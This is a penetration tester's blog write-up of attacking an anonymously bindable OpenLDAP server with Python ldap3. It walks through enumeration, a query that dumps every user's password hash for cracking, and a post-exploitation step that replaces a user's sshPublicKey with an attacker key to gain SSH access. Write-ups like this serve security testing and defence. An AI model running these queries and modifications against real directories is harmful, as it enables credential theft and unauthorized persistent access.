I was recently on a penetration test that was completely locked down, I was completely alone in my subnet, and almost all of my scope targets were firewalled off.  After running a bunch of port scans, I was left only with a few SSH services on port 22, and one Secure LDAP server on port 636.

LDAP (Lightweight Directory Access Protocol) is an open and cross platform protocol used for directory services authentication.  I frequently see LDAP in relation to Active Directory, however there are many other directory services that take advantage of this open standard.  In my case, this environment was all Linux, so it was likely using something else, such as OpenLDAP or Red Hat Directory Service.

There are many ways to interact with LDAP, such as LdapMiner, LDAP Explorer, or simply using ldapsearch which is installed by default on most Linux systems.  Seeing as I was on a Linux host, ldapsearch seemed like the obvious choice but since I’m partial to Python and has used it in my previous blog post, I decided to use it with the ldap3 library.

First some quick notes on enumeration before we dive into exploitation.  LDAP servers with anonymous bind can be picked up by a simple Nmap scan using version detection.  LDAP typically listens on port 389, and port 636 for secure LDAP.

$ sudo nmap x.x.X.x -Pn -sV
PORT    STATE SERVICE  VERSION
636/tcp open  ssl/ldap (Anonymous bind OK)

Once you have found an LDAP server, you can start enumerating it.  Open python and perform the following actions:

  • install ldap3 (pip install ldap3)
  • Create a server object.  You will need the IP or hostname, the port, and if using secure LDAP, “use_ssl = True”.
  • To extract the DSE naming contexts, you also need to put get_info = ldap3.ALL.
  • Create a connection object, and then call bind().
  • Once bound (You should see a “true”) call .info on your server object.
$ python
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts: 
dc=DOMAIN,dc=DOMAIN

Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory.

>>> connection.search('dc=DOMAIN,dc=DOMAIN', '(objectclass=*)')
True
>>> connection.entries

In my case, I didn’t have that many objects, so I performed a query to dump everything.

>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

This query enumerated all of the objects and then dumped all of their attributes as well. A sample of what I saw can be seen below:

DN: uid=USER,ou=Employees,dc=DOMAIN,dc=DOMAIM - STATUS: Read - READ TIME: 2020-02-04T00:50:00.017592
cn: USER
displayName: User User
gidNumber: 1234
homeDirectory: /home/user
loginShell: /bin/bash
mail: user.user@domain.domaim
objectClass: inetOrgPerson
organizationalPerson
person
top
posixAccount
shadowAccount
ldapPublicKey
sn: Linux
sshPublicKey: ssh-rsa AAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAAaAAAA== user.user@domain.domain
uid: USER
uidNumber: 1234
userPassword: {SHA}AbCdEfGhIjKlMnOpQrStUvWxYz==

Most interesting of course was the “userPassword” field.  This contained a SHA1 hash of the users password.  Other user’s were found to have {SSHA} as a prefix, which is a salted SHA1 hash.

To dump just the password hashes of all users, I performed the following query:

>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

As these were SHA1, they were cracked very quickly.  From that point, they could then be used to authenticate to any other exposed systems requiring password authentication.

Update February 7th, 2019

The server turned out to be using OpenLDAP, and this was validated by running:

LDAPTLS_REQCERT=never ldapsearch -H ldaps://x.x.x.x -x -v -b '' -s base

Which returned:

ldap_initialize( ldaps://x.x.x.x:636/??base )
filter: (objectclass=*)
requesting: All userApplication attributes
# extended LDIF
#
# LDAPv3
# base <> with scope baseObject
# filter: (objectclass=*)
# requesting: ALL
#

#
dn:
objectClass: top
objectClass: OpenLDAProotDSE

It’s also important to note that this is not the default configuration for OpenLDAP, the client’s LDAP administrator had configured it to be this open.

Another viable post exploitation action is to crack the passwords and then bind back to LDAP with those credentials.  One of the attributes I found aside from userPassword was sshPublicKeyA search online found that many people use this attribute to augment the authorized_keys file on Linux, so that they can centralize it.  This provides an opportunity for an attacker, because if they can modify this attribute, they can authenticate to systems that do not allow password based authentication by replacing the value with a public key of their own.

To perform this attack, the attacker would first needs to generate a key pair.  They would then need to authenticate to the LDAP server with a privileged user:

$ python
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'

After performing an authenticated bind, they could then update the sshPublicKey attribute with an attacker controlled key.

>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Many Linux systems are configured to not allow password based authentication, and if these keys were synced, the attacker could now log onto server using key-based authentication.

I later learned that sshPublicKey can hold multiple values, so a more elegant solution would have been to append another value instead of replacing it.

For more discussion, please see the thread on Twitter made after this blog post.  Special thanks to Firstyear(@Erstejahre) for sharing their LDAP expertise.